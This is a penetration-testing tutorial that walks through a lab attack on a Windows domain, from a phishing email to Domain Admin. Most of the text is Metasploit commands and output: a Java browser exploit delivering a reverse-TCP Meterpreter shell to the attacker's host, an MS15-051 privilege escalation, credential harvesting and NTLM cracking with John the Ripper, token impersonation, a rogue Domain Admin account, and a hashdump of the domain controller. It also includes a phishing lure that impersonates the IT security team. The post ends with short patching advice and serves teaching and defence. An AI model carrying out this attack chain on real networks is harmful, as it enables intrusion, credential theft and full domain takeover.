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Attack Simulation: from No Access to Domain Admin

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The main aim of this article is to show how much it is important to keep systems up to date with the latest Security patches; in particular, this post is about Security in corporate Windows environments.

Active Directory

Generally, in companies with a discrete number of Windows systems, it is common to set up a domain using a system called Active Directory. Basically it implements a number of processes and services which, among the other things, simplify the management of Windows user accounts inside a domain network so as to handle them in a centralized way.



A server which runs Active Directory Domain Services takes the name of Domain Controller (DC): through its configuration it is possible to define rules and policies which are applied to users and computers belonging to the domain.

An account with administrator privileges over the domain belongs to the Domain Admin group: it has administrator rights over all the machines registered to the domain, even on the DC. Once you have administrator privileges on the domain you can essentially do everything you want; this is why it is important to secure the domain in such a way that only a restricted group of authorized accounts (that really needs them) have those rights.

Another important aspect about the Domain Controller Security is that, while passwords for local users are stored inside the machine they have been defined in, passwords for domain users are stored on the DC itself.

Virtual Laboratory

To simulate the attack to the domain, we can setup an Active Directory virtual laboratory environment with a Windows Server 2012 R2 acting as Domain Controller and a Windows 7 SP1 64-bit client in order to emulate an employer workstation registered to the domain.

On the Windows 7 machine it is installed an old version of Java Runtime Environment, Java 6 Update 23,

which is affected by a series of Remote Code Execution (RCE) vulnerabilities; moreover the OS misses a Security patch for MS15-051 vulnerability which allows Local Privilege Escalation.

The attacker will use the distro Kali Linux on which it is installed by default the notorious Metasploit Framework. After an initial Information Gathering during which he discovers Java 6u23 installation on client workstations, he starts the attack.

We can begin by launching PostgreSQL service in order to use Metasploit database:

```
root@kali:~# service postgresql start
```

Then we can power up Metasploit console:

```
root@kali:~# msfconsole -q
msf >
```

Java Client-side Exploitation

Among all the vulnerabilities affecting Java 6u23, we can use *Java storeImageArray() Invalid Array Indexing Vulnerability*. Through the `info` command we can take a look at the description that reports a lot of useful informations like the list of platforms affected, reliability Rank, vulnerability disclosure date, module authors, Common Vulnerability and Exposures (CVE) identifier and, of course, the options we need to set up to run the exploit:

```
msf > use exploit/multi/browser/java_storeimagearray
msf exploit(java_storeimagearray) > info

Name: Java storeImageArray() Invalid Array Indexing Vulnerability
Module: exploit/multi/browser/java_storeimagearray
Platform: Java, Linux, Windows
```

Privileged: No
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2013-08-12

Provided by:

Unknown
sinn3r <sinn3r@metasploit.com>
juan vazquez <juan.vazquez@metasploit.com>

Available targets:

Id	Name
0	Generic (Java Payload)
1	Windows Universal
2	Linux x86

Basic options:

Name	Current Setting	Required	Description
SRVHOST	0.0.0.0	yes	The local host to listen on. This must be an a
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is r
URIPATH		no	The URI to use for this exploit (default is ra

Payload information:

Space: 20480
Avoid: 0 characters

Description:

This module abuses an Invalid Array Indexing Vulnerability on the static function `storeImageArray()` function in order to cause a memory corruption and escape the Java Sandbox. The vulnerability affects Java version 7u21 and earlier. The module, which doesn't bypass `click2play`, has been tested successfully on Java 7u21 on Windows and Linux systems.

References:

<http://cvedetails.com/cve/2013-2465/>
<http://www.osvdb.org/96269>
<https://www.exploit-db.com/exploits/27526>
<https://packetstormsecurity.com/files/122777>
<http://hg.openjdk.java.net/jdk7u/jdk7u-dev/jdk/rev/2a9c79db0040>

This kind of exploits starts a webserver and hosts the malicious code on a webpage, so, when the victim visits the url, it executes.

Looking at the options, we have to set up the `TARGET` system, which is Windows, and the `URIPATH` that represents the last part of the malicious url address.

Moreover, we need to set the `PAYLOAD` type, which represents the program we can execute thanks to the RCE vulnerability: it is a good idea to choose Meterpreter payload since it offers a huge quantity of features to control the remote host; furthermore we choose it in order to set up a reverse tcp connection so as to bypass Firewall protection: `reverse_tcp Meterpreter`.

Another good payload, which is even more reliable in highly secured environments, is the `reverse_http(s)` one: in fact, “instead of a stream-based communication model, this stager provides a packet-based transaction system” (take a look to the reference at the end of this article if you want to know more about it). Of course it supports the same features of the `reverse_tcp` we are using here.

Once the payload is selected, we set up the IP address (LHOST) and the port (LPORT) to which we want the victim machine connects back to (in this case our host):

```
msf exploit(java_storeimagearray) > set target 1
target => 1
msf exploit(java_storeimagearray) > set uripath /
uripath => /
msf exploit(java_storeimagearray) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(java_storeimagearray) > set lhost 192.168.1.10
lhost => 192.168.1.10
msf exploit(java_storeimagearray) > set lport 443
lport => 443
msf exploit(java_storeimagearray) > show options
```

Module options (exploit/multi/browser/java_storeimagearray):

Name	Current Setting	Required	Description
----	-----	-----	-----
SRVHOST	0.0.0.0	yes	The local host to listen on. This must be an
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is
URIPATH	/	no	The URI to use for this exploit (default is r

Payload options (windows/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
----	-----	-----	-----

```
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, p
LHOST 192.168.1.10 yes The listen address
LPORT 443 yes The listen port
```

Exploit target:

```
Id  Name
--  ---
1   Windows Universal
```

With everything properly configured we can launch the exploit as a background job:

```
msf exploit(java_storeimagearray) > exploit -j
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.1.10:443
[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://192.168.1.10:8080/
[*] Server started.
```

Social Engineering

Generally attackers trick victims into opening links by using Social Engineering techniques: for example, a possibility is to send an email to the target by impersonating the company IT Security Team and inviting the user to visit a url in order to download an important Security patch:

[Security] Software Update Inbox x



Security Team <securityteam@company.com>

to me ▾


Dear user,

we have found a critical vulnerability in our software.
Please visit the following link to proceed with the update:
[Software Update](#)

Thank you for your cooperation,
Security Team

So, when the victim visits the webpage the Java exploit executes and the attacker obtains a remote connection, i.e., a meterpreter session on the victim machine:

```
[*] Sending HTML...  
[*] Sending .jar file...  
[*] Sending .jar file...
```

```
[*] Sending stage (957999 bytes) to 192.168.1.208
[*] Meterpreter session 1 opened (192.168.1.10:443 -> 192.168.1.208:49163) at 2016-1
```

We can then verify the connection by checking active sessions:

```
msf exploit(java_storeimagearray) > sessions -l

Active sessions
=====

  Id  Type                Information                Connection
  --  -
  1   meterpreter x86/win32  NET\testuser1 @ WIN7SP164  192.168.1.10:443 -> 192.168.
```

We have an established connection between the attacker machine with IP address 192.168.1.10 and the victim machine with IP address 192.168.1.208; this connection starts from the victim machine and connects back to the attacker one using port 443. Choosing this port was not random: a connection of this type will be less suspicious since it mimics an ordinary SSL session like if the user is just visiting a webpage in HTTPS. Beware that this exploit works both on Internet Explorer (version 8 in this test) and Mozilla Firefox (of course Java plugin must be active).

Post Exploitation

Starting the interaction we may want to acquire system informations, like architecture, domain name, user ID and so on; `sysinfo` command is what we need:

```
msf exploit(java_storeimagearray) > sessions -i 1
[*] Starting interaction with 1...
```

```
meterpreter > sysinfo
Computer      : WIN7SP164
OS            : Windows 7 (Build 7601, Service Pack 1).
Architecture  : x64 (Current Process is WOW64)
System Language : en_US
Domain        : NET
Logged On Users : 2
Meterpreter   : x86/win32
meterpreter > getuid
Server username: NET\testuser1
```

We see that we are controlling a Windows 7 machine and the meterpreter is running inside a process owned by the user “testuser1” which is registered to the domain NET.

Another interesting information is given by system architecture that is 64-bit while the meterpreter is x86, i.e it is running on a 32-bit process: this means we have to migrate to a 64-bit process in order to use the meterpreter properly.

Before doing that, we can gather additional informations using Metasploit post exploitation modules. For example, it would be useful to know what kind of privileges the current user has got, like being in the Local Administrators group:

```
meterpreter > background
[*] Backgrounding session 1...
msf post(java_storeimagearray) > use post/windows/gather/win_privs
msf post(win_privs) > info

      Name: Windows Gather Privileges Enumeration
      Module: post/windows/gather/win_privs
      Platform: Windows
      Arch:
```

Rank: Normal

Provided by:

Merlyn Cousins <drforbin6@gmail.com>

Basic options:

Name	Current Setting	Required	Description
----	-----	-----	-----
SESSION		yes	The session to run this module on.

Description:

This module will print if UAC is enabled, and if the current account is ADMIN enabled. It will also print UID, foreground SESSION ID, is SYSTEM status and current process PRIVILEGES.

```
msf post(win_privs) > set session 1
```

```
session => 1
```

```
msf post(win_privs) > show options
```

Module options (post/windows/gather/win_privs):

Name	Current Setting	Required	Description
----	-----	-----	-----
SESSION	1	yes	The session to run this module on.

```
msf post(win_privs) > exploit
```

Current User

=====

```
Is Admin   Is System   Is In Local Admin Group   UAC Enabled   Foreground ID   UID
-----
False      False        False                    True          2               "NET\\tes

Windows Privileges
=====

Name
----
SeChangeNotifyPrivilege
SeShutdownPrivilege
SeUndockPrivilege

[*] Post module execution completed
```

As reported the user has not Administration privileges, which means bad news for the attacker: in fact, a good Security practice is to set policies for employers workstations in such a way they do not have local Administrative privileges on their own machine (of course this has also to be followed by the application of Security patches as we will see afterwards).

Another smart move could be to acquire the IP address of the Domain Controller:

```
msf post(win_privs) > use post/windows/gather/enum_domain
msf post(enum_domain) > info

      Name: Windows Gather Enumerate Domain
      Module: post/windows/gather/enum_domain
      Platform: Windows
      Arch:
```

Rank: Normal

Provided by:

Joshua Abraham <jabra@rapid7.com>

Basic options:

Name	Current Setting	Required	Description
----	-----	-----	-----
SESSION	1	yes	The session to run this module on.

Description:

This module identifies the primary domain via the registry. The registry value used is:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\History\DCName.

```
msf post(enum_domain) > set session 1
session => 1
msf post(enum_domain) > exploit
[+] FOUND Domain: net
[+] FOUND Domain Controller: DC (IP: 192.168.1.200)
[*] Post module execution completed
```

Enumerating Domain Admin accounts is for sure a good idea since they are interesting targets due to their privileges:

```
msf exploit(enum_domain) > use post/windows/gather/enum_domain_group_users
msf post(enum_domain_group_users) > info
```

Name: Windows Gather Enumerate Domain Group

```
Module: post/windows/gather/enum_domain_group_users
Platform: Windows
Arch:
Rank: Normal
```

Provided by:

```
Carlos Perez <carlos_perez@darkoperator.com>
Stephen Haywood <haywoodsb@gmail.com>
```

Basic options:

Name	Current Setting	Required	Description
GROUP		yes	Domain Group to enumerate
SESSION		yes	The session to run this module on.

Description:

This module extracts user accounts from specified group and stores the results in the loot. It will also verify if session account is in the group. Data is stored in loot in a format that is compatible with the token_hunter plugin. This module should be run over as session with domain credentials.

```
msf post(enum_domain_group_users) > set group "domain admins"
group => domain admins
msf post(enum_domain_group_users) > set session 1
session => 1
msf post(enum_domain_group_users) > exploit
```

```
[*] Running module against WIN7SP164
[*] Found users in domain admins
```

```
[*] NET\boss
[*] Current session running as NET\testuser1 is not a member of domain admins
[*] User list stored in /root/.msf4/loot/20160906195451_default_192.168.1.208_domain
[*] Post module execution completed
```

The results are telling us that we have only one Domain Admin user: "boss". Remember this account, because it will be useful later.

Keep in mind that we could have gathered these informations also by dropping the meterpreter session to a Windows command shell: for example, to find the list of Domain Admins users the command would be `net groups "domain admins" /domain`.

Going back to the 32/64-bit architecture topic, we need to migrate the meterpreter to a 64-bit process: for this purpose we can list all the processes running on the machine and choose a 64-bit one:

```
meterpreter > ps
```

```
Process List
```

```
=====
```

PID	PPID	Name	Arch	Session	User	Path
---	----	----	----	-----	----	----
0	0	[System Process]				
4	0	System				
252	4	smss.exe				
280	488	svchost.exe				
336	320	csrss.exe				
388	320	wininit.exe				
396	380	csrss.exe				
432	380	winlogon.exe				

488	388	services.exe				
504	388	lsass.exe				
512	388	lsm.exe				
620	488	svchost.exe				
680	488	vmacthlp.exe				
724	488	svchost.exe				
812	488	svchost.exe				
848	488	svchost.exe				
860	488	taskhost.exe	x64	1	NET\testuser1	C:\Windows\System32\ta
872	488	svchost.exe				
928	488	svchost.exe				
1116	488	wmpnetwk.exe				
1152	488	spoolsv.exe				
1188	488	svchost.exe				
1248	488	msdtc.exe				
1308	488	svchost.exe				
1368	488	VGAuthService.exe				
1476	488	vmtoolsd.exe				
1532	848	dwm.exe	x64	1	NET\testuser1	C:\Windows\System32\dw
1656	488	svchost.exe				
1700	1708	vmtoolsd.exe	x64	1	NET\testuser1	C:\Program Files\VMwar
1708	1664	explorer.exe	x64	1	NET\testuser1	C:\Windows\explorer.ex
1828	620	WmiPrvSE.exe				
1908	488	dllhost.exe				
1992	156	gEcLf0yZ.exe	x86	1	NET\testuser1	C:\Users\testuser1\AppData
2188	620	WmiPrvSE.exe				
2376	488	svchost.exe				
2740	488	SearchIndexer.exe				

Note the process with PID 1992 associated to the “.exe” payload file located in the Temp directory: this is the one the meterpreter is currently running on.

Generally, migrating to “explorer.exe” is a good choice, so we use its PID as parameter to the `migrate` command:

```
meterpreter > migrate 1708
[*] Migrating from 1992 to 1708...
[*] Migration completed successfully.
meterpreter > sysinfo
Computer       : WIN7SP164
OS             : Windows 7 (Build 7601, Service Pack 1).
Architecture  : x64
System Language : en_US
Domain        : NET
Logged On Users : 2
Meterpreter    : x64/win64
```

Privilege Escalation

The main concern now is that, even if we are able to read and write files inside the context of the current user “testuser1”, we want to acquire a privileged access to the machine, i.e. we want to gain Administrator rights.

For this purpose we can analyze what Security patches are installed on the system in order to find if there are unpatched privilege escalation vulnerabilities. By doing this we can drop down to a Windows command shell and use the “wmic” utility:

```
meterpreter > shell
Process 1880 created.
Channel 1 created.
```

```
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>wmic qfe list
wmic qfe list
Caption                                                    CSName      Description  FixComments
http://go.microsoft.com/fwlink/?LinkId=161784             WIN7SP164   Update
http://support.microsoft.com/?kbid=976902                 WIN7SP164   Update

C:\Windows\system32>^C
Terminate channel 1? [y/N] y
meterpreter > background
[*] Backgrounding session 1...
```

The output shows clearly that in this company Windows System Administrators are not frequently updating clients workstations.

For example, we have discovered that the KB to the MS15-051 vulnerability is missing, so we can exploit it. This vulnerability affects Windows Kernel-Mode drivers allowing RCE, so it is possible to perform a Local Privilege Escalation, i.e. we can elevate the rights of our meterpreter session, which runs with “testuser1” privileges, to NT AUTHORITY\SYSTEM:

```
msf exploit(java_storeimagearray) > use exploit/windows/local/ms15_051_client_copy_i
msf exploit(ms15_051_client_copy_image) > info

      Name: Windows ClientCopyImage Win32k Exploit
    Module: exploit/windows/local/ms15_051_client_copy_image
  Platform: Windows
Privileged: No
  License: Metasploit Framework License (BSD)
```

Rank: Normal
Disclosed: 2015-05-12

Provided by:

Unknown
hfirefox
OJ Reeves
Spencer McIntyre

Available targets:

Id	Name
0	Windows x86
1	Windows x64

Basic options:

Name	Current Setting	Required	Description
SESSION		yes	The session to run this module on.

Payload information:

Space: 4096

Description:

This module exploits improper object handling in the win32k.sys kernel mode driver. This module has been tested on vulnerable builds of Windows 7 x64 and x86, and Windows 2008 R2 SP1 x64.

References:

<http://cvedetails.com/cve/2015-1701/>

```
http://technet.microsoft.com/en-us/security/bulletin/MS15-051
https://www.fireeye.com/blog/threat-research/2015/04/probable_ap28_useo.html
https://github.com/hfiref0x/CVE-2015-1701
https://technet.microsoft.com/library/security/MS15-051
```

To run this module we just need to set the session on which we want to run the module on and the payload type:

```
msf exploit(ms15_051_client_copy_image) > set session 1
session => 1
msf exploit(ms15_051_client_copy_image) > set target 1
target => 1
msf exploit(ms15_051_client_copy_image) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(ms15_051_client_copy_image) > set lhost 192.168.1.10
lhost => 192.168.1.10
msf exploit(ms15_051_client_copy_image) > show options
```

Module options (exploit/windows/local/ms15_051_client_copy_image):

Name	Current Setting	Required	Description
----	-----	-----	-----
SESSION	1	yes	The session to run this module on.

Payload options (windows/x64/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
----	-----	-----	-----

```
EXITFUNC  thread      yes      Exit technique (Accepted: '', seh, thread, p
LHOST     192.168.1.10    yes      The listen address
LPORT     4444             yes      The listen port
```

Exploit target:

```
Id  Name
--  ---
1   Windows x64
```

```
msf exploit(ms15_051_client_copy_image) > exploit
[*] Started reverse TCP handler on 192.168.1.10:4444
[*] Launching notepad to host the exploit...
[+] Process 2856 launched.
[*] Reflectively injecting the exploit DLL into 2856...
[*] Injecting exploit into 2856...
[*] Exploit injected. Injecting payload into 2856...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (1189423 bytes) to 192.168.1.208
[*] Meterpreter session 2 opened (192.168.1.10:4444 -> 192.168.1.208:49164) at 2016-
```

The newly created session has elevated privileges:

```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > background
[*] Backgrounding session 2...
```

```
msf exploit(ms15_051_client_copy_image) > sessions -l

Active sessions
=====

  Id  Type                Information                Connection
  --  ---                -
  1   meterpreter x64/win64  NET\testuser1 @ WIN7SP164  192.168.1.10:443 -> 19
  2   meterpreter x64/win64  NT AUTHORITY\SYSTEM @ WIN7SP164  192.168.1.10:4444 -> 1
```

This means now we have full control on the compromised system, like having access to the local stored credentials:

```
msf exploit(ms15_051_client_copy_image) > use post/windows/gather/credentials/credential_collector
msf post(credential_collector) > info

  Name: Windows Gather Credential Collector
  Module: post/windows/gather/credentials/credential_collector
  Platform: Windows
  Arch:
  Rank: Normal

Provided by:
  tebo <tebo@attackresearch.com>

Basic options:
  Name      Current Setting  Required  Description
  ----      -
  LHOST     192.168.1.10     true      The IP address of the remote host.
```

```
SESSION                yes          The session to run this module on.

Description:
  This module harvests credentials found on the host and stores them
  in the database.

msf post(credential_collector) > set session 2
session => 2
msf post(credential_collector) > exploit
[*] Running module against WIN7SP164
[+] Collecting hashes...
    Extracted: Administrator:aad3b435b51404eeaad3b435b51404ee:5835048ce94ad0564e29a9
    Extracted: Guest:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089
    Extracted: test:aad3b435b51404eeaad3b435b51404ee:8846f7eaae8fb117ad06bdd830b7586
[+] Collecting tokens...
    NET\testuser1
    NT AUTHORITY\LOCAL SERVICE
    NT AUTHORITY\NETWORK SERVICE
    NT AUTHORITY\SYSTEM
    NT AUTHORITY\ANONYMOUS LOGON
[*] Post module execution completed
```

This module stores gathered credential in Metasploit database so it is possible to display them with a simple command:

```
msf post(credential_collector) > creds
Credentials
=====
```


host	origin	service	public	private
----	-----	-----	-----	-----
192.168.1.208	192.168.1.208	445/tcp (smb)	Administrator	aad3b435b51404eeaad3b435
192.168.1.208	192.168.1.208	445/tcp (smb)	Guest	aad3b435b51404eeaad3b435
192.168.1.208	192.168.1.208	445/tcp (smb)	test	aad3b435b51404eeaad3b435

NTLM hash cracking

Analyzing collected credentials we find the following fields: a username and two strings separated by the colon symbol; these two represent the encrypted password for that user.

Windows credentials are stored using hashing algorithms: the first part of the hash represents the LAN Manager (LM) hash. The LM authentication protocol has been disabled by default starting from Windows Vista and Windows Server 2008 since it was really unsecure; this is why the string “aad3b435b51404eeaad3b435b51404ee” represents an empty value (remember we are on a Windows 7 machine).

The second part represents the NT LAN Manager (NTLM) hash: NTLM is the successor of the LM protocol, but it is still vulnerable to password cracking attacks. This is why we can use the password cracking tool *John The Ripper* in dictionary attack mode to find the corresponding plain text password.

Since NTLM hashing function is well known it is possible to compute in advance for a given word the corresponding hash; moreover it is symmetric so we have a one-to-one correspondence between words and hashes. So, defining f as the hashing function and x as the plain text password, we have that $y = f(x)$ returns the computed hash.

A dictionary attack works in a simple way: we have a file with a list of words (this is why these files can be found under the name of “wordlists”); for each word we generate the corresponding NTLM hash and then we compare it with the one we want to crack. Once we find the one that matches, we are sure we have found the password.

It is always a good idea to start with a dictionary attack instead of a brute force attack, since generally people set common words as their password and in that case we can accomplish our task pretty rapidly.

We are interested in the Administrator account, so we start by saving its details, i.e. username and corresponding NTLM hash, in a text file:

```
root@kali:~# cat hashes.txt
Administrator:5835048ce94ad0564e29a924a03510ef
```

Then we can launch the tool by specifying the hashes format and the dictionary file we want to use to crack the hashes (“rockyou” wordlist is included by default in Kali Linux inside `/usr/share/wordlists` folder):

```
root@kali:~# john --format=NT --wordlist=/root/dictionary/rockyou.txt hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 128/128 SSE2 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
password1      (Administrator)
1g 0:00:00:00 DONE (2016-09-03 23:09) 25.00g/s 900.0p/s 900.0c/s 900.0C/s tigger..li
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

JTR has successfully found the password for the Administrator account: “password1”. Considering the worst case for the attacker, we suppose that the local Administrator password is different in every client belonging to the domain (otherwise he would already had access to every machine without performing any further action).

Token Impersonation

In this case there are different ways to move on; for example we can proceed by using a technique called “Token Stealing” or “Token Impersonation”.

In Windows, everytime a user tries to log in, the system verifies that user’s password is correct by matching it with the one stored in the Security database: this is called “authentication process”. When the process succeed, the system generates an access token. Tokens can be seen as a temporary key so every process executed in the context of that user does not need to request the password again to run with user’s privileges: these are called “Delegation Tokens” and they persist on the system until next reboot. In fact, a user log off does not invalidate the token, but the token itself will be reported as an impersonation token instead of a delegation one.

If a user connect to the compromised machine, it is possible to steal its relative token. This task can be performed with a Metasploit extension called Incognito.

Taking a look at the output of the “credential_collector” module used before, we see there are reported also informations about tokens. Now, supposing a Domain Admin logs on the controlled machine, we should see a delegation token for that user from the `list_tokens` command part of Incognito extension:

```
msf exploit(credential_collector) > sessions -i 2
[*] Starting interaction with 2...
```

```
meterpreter > load incognito
Loading extension incognito...success.
```

```
meterpreter > list_tokens -u
```

```
Delegation Tokens Available
```

```
=====
```

```
NET\boss
```

```
NET\testuser1
```

```
NT AUTHORITY\LOCAL SERVICE
```

```
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Impersonation Tokens Available
=====
NT AUTHORITY\ANONYMOUS LOGON
```

A new delegation token appears for the user “boss”, which is, as enumerated before, a Domain Admin. We can try to impersonate that token to acquire user privileges:

```
meterpreter > impersonate_token
Usage: impersonate_token <token>

Instructs the meterpreter thread to impersonate the specified token. All other actions
are performed as the specified token.

Hint: Double backslash DOMAIN\\name (meterpreter quirk)
Hint: Enclose with quotation marks if name contains a space

meterpreter > impersonate_token NET\\boss
[+] Delegation token available
[+] Successfully impersonated user NET\\boss
```

A successful impersonation message is returned. Dropping down to a Windows shell we can check our identification:

```
meterpreter > shell
Process 888 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
```

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```
C:\Windows\system32>whoami  
whoami  
net\boss
```

Impersonating a Domain Admin gives the rights to do pretty much whatever we want; for example we can add users to AD:

```
C:\Windows\system32>net user evilboss password123 /add /domain  
net user evilboss password123 /add /domain  
The request will be processed at a domain controller for domain net.testlab.  
  
The command completed successfully.
```

In particular, we can give Domain Admin rights to the just created user “evilboss”:

```
C:\Windows\system32>net group "Domain Admins" evilboss /add /domain  
net group "Domain Admins" evilboss /add /domain  
The request will be processed at a domain controller for domain net.testlab.  
  
The command completed successfully.
```

Now we have our own Domain Admin user through which we have administrative access to every machine registered to the Domain; that said, a good target is represented by the Domain Controller which stores all domain users NTLM hashes. To log on the DC we can use the “psexec” module:

```
C:\Windows\system32>^C  
Terminate channel 1? [y/N] y
```

```

meterpreter > background
[*] Backgrounding session 2...
msf exploit(credential_collector) > use exploit/windows/smb/psexec
msf exploit(psexec) > info

        Name: Microsoft Windows Authenticated User Code Execution
        Module: exploit/windows/smb/psexec
        Platform: Windows
        Privileged: Yes
        License: Metasploit Framework License (BSD)
        Rank: Manual
        Disclosed: 1999-01-01

Provided by:
  hdm <x@hdm.io>
  Royce Davis <rdavis@accuvant.com>
  RageLtMan <rageltman@sempervictus>

Available targets:
  Id  Name
  --  ---
  0    Automatic
  1    PowerShell
  2    Native upload
  3    MOF upload

Basic options:
  Name                Current Setting  Required  Description
  ----                -
  RHOST                -----

```

RPORT	445	yes	The SMB service port
SERVICE_DESCRIPTION		no	Service description to to be used
SERVICE_DISPLAY_NAME		no	The service display name
SERVICE_NAME		no	The service name
SHARE	ADMIN\$	yes	The share to connect to, can be a
SMBDomain	.	no	The Windows domain to use for aut
SMBPass		no	The password for the specified us
SMBUser		no	The username to authenticate as

Payload information:

Space: 3072

Description:

This module uses a valid administrator username and password (or password hash) to execute an arbitrary payload. This module is similar to the "psexec" utility provided by SysInternals. This module is now able to clean up after itself. The service created by this tool uses a randomly chosen name and description.

References:

<http://cvedetails.com/cve/1999-0504/>
<http://www.osvdb.org/3106>
<http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx>
<http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access>
<http://sourceforge.net/projects/smbexec/>

This module takes as inputs the Domain name, a valid administrator username and password (no matter if plain text or hashed) and the destination host we want to log in. It connects to the Samba share specified on the target machine.

```
msf exploit(psexec) > set target 1
target => 1
msf exploit(psexec) > set rhost 192.168.1.200
rhost => 192.168.1.200
msf exploit(psexec) > set SMBDomain NET
SMBDomain => NET
msf exploit(psexec) > set SMBUser evilboss
SMBUser => evilboss
msf exploit(psexec) > set SMBPass password123
SMBPass => password123
msf exploit(psexec) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(psexec) > set lhost 192.168.1.10
lhost => 192.168.1.10
msf exploit(psexec) > set lport 4445
lport => 4445
msf exploit(psexec) > exploit -j

[*] Started reverse TCP handler on 192.168.1.10:4445
[*] 192.168.1.200:445 - Connecting to the server...
[*] 192.168.1.200:445 - Authenticating to 192.168.1.200:445|NET as user 'evilboss'..
[*] 192.168.1.200:445 - Executing the payload...
[+] 192.168.1.200:445 - Service start timed out, OK if running a command or non-serv
[*] Sending stage (957999 bytes) to 192.168.1.200
[*] Meterpreter session 3 opened (192.168.1.10:4445 -> 192.168.1.200:49245) at 2016-

msf exploit(psexec) > sessions -l

Active sessions
=====
```


Id	Type	Information	Connection
--	----	-----	-----
1	meterpreter x64/win64	NET\testuser1 @ WIN7SP164	192.168.1.10:443 -> 19
2	meterpreter x64/win64	NT AUTHORITY\SYSTEM @ WIN7SP164	192.168.1.10:4444 -> 1
4	meterpreter x64/win64	NT AUTHORITY\SYSTEM @ DC	192.168.1.10:4445 -> 1


```
meterpreter > sysinfo
Computer      : DC
OS            : Windows 2012 R2 (Build 9600).
Architecture : x64
System Language : en_US
Domain       : NET
Logged On Users : 5
Meterpreter   : x64/win64
```

Finally we can dump all the credentials stored on the Domain Controller:

```
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:4b08728132d41e230b4ee268c5b42acb:
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:43a6a9669d444da03408e368b8daf0c1:::
DC:1001:aad3b435b51404eeaad3b435b51404ee:4b08728132d41e230b4ee268c5b42acb:::
boss:1108:aad3b435b51404eeaad3b435b51404ee:c1fc37edabedb382c5141e88ce614b11:::
testuser2:1109:aad3b435b51404eeaad3b435b51404ee:f984c0e85e62faef91f6ad49fb9f8554:::
testuser1:1110:aad3b435b51404eeaad3b435b51404ee:b4c295164ce915935084495caf7f9cfa:::
evilboss:1119:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::
DC$:1002:aad3b435b51404eeaad3b435b51404ee:a2807c6834bac0c8599530a02aa169af:::
WIN7SP0$:1107:aad3b435b51404eeaad3b435b51404ee:77b40b8cb3d6c4547ab3442ff3a34683:::
```

```
WIN7SP1$:1115:aad3b435b51404eeaad3b435b51404ee:b31785870dd8c4df04ff8f48dd0b9728:::  
WINXPSP2$:1116:aad3b435b51404eeaad3b435b51404ee:61083f3aff10e03cc6ece1b04c9a76f1:::  
WIN7SP164$:1117:aad3b435b51404eeaad3b435b51404ee:031b3d01c20cb5f1ad6cceb4bccbd0ca:::
```

Similarly to what we did for Local Administrator password, we can use JTR to crack this NTLM hashes.

Remediation

This article has shown how much it is important to keep systems up to date; by doing this it is important to take care not only about Operating System Security patches, but also about the software installed on it.

Referring to this particular article scenario, the actions needed to secure the system are reported below:

- Update Java to the latest version released so as to get rid of the CVE-2013-2465 and other Java related vulnerabilities;
- Install Microsoft Security patch KB3057191 in order to remove MS15-051 vulnerability.

Regarding Microsoft Windows access control model based on tokens, keep in mind that this is how Windows handles the authentication so it cannot be considered a vulnerability. This means that in order to secure the environment the countermeasures are more about processes and procedures. This is why it is important to follow Security best practices; here is a list of Security rules it is good to follow to lower the risk level related to token impersonation attacks:

- Limit number of Domain Admin accounts
- Users with Domain Admin account must use their unprivileged account for standard use;
- Create administrative groups with access restricted to their competence area (for example, development, test and production groups) so as to limit possible data breaches.

References

<https://community.rapid7.com/community/metasploit/blog/2011/06/29/meterpreter-httphttps-communication>

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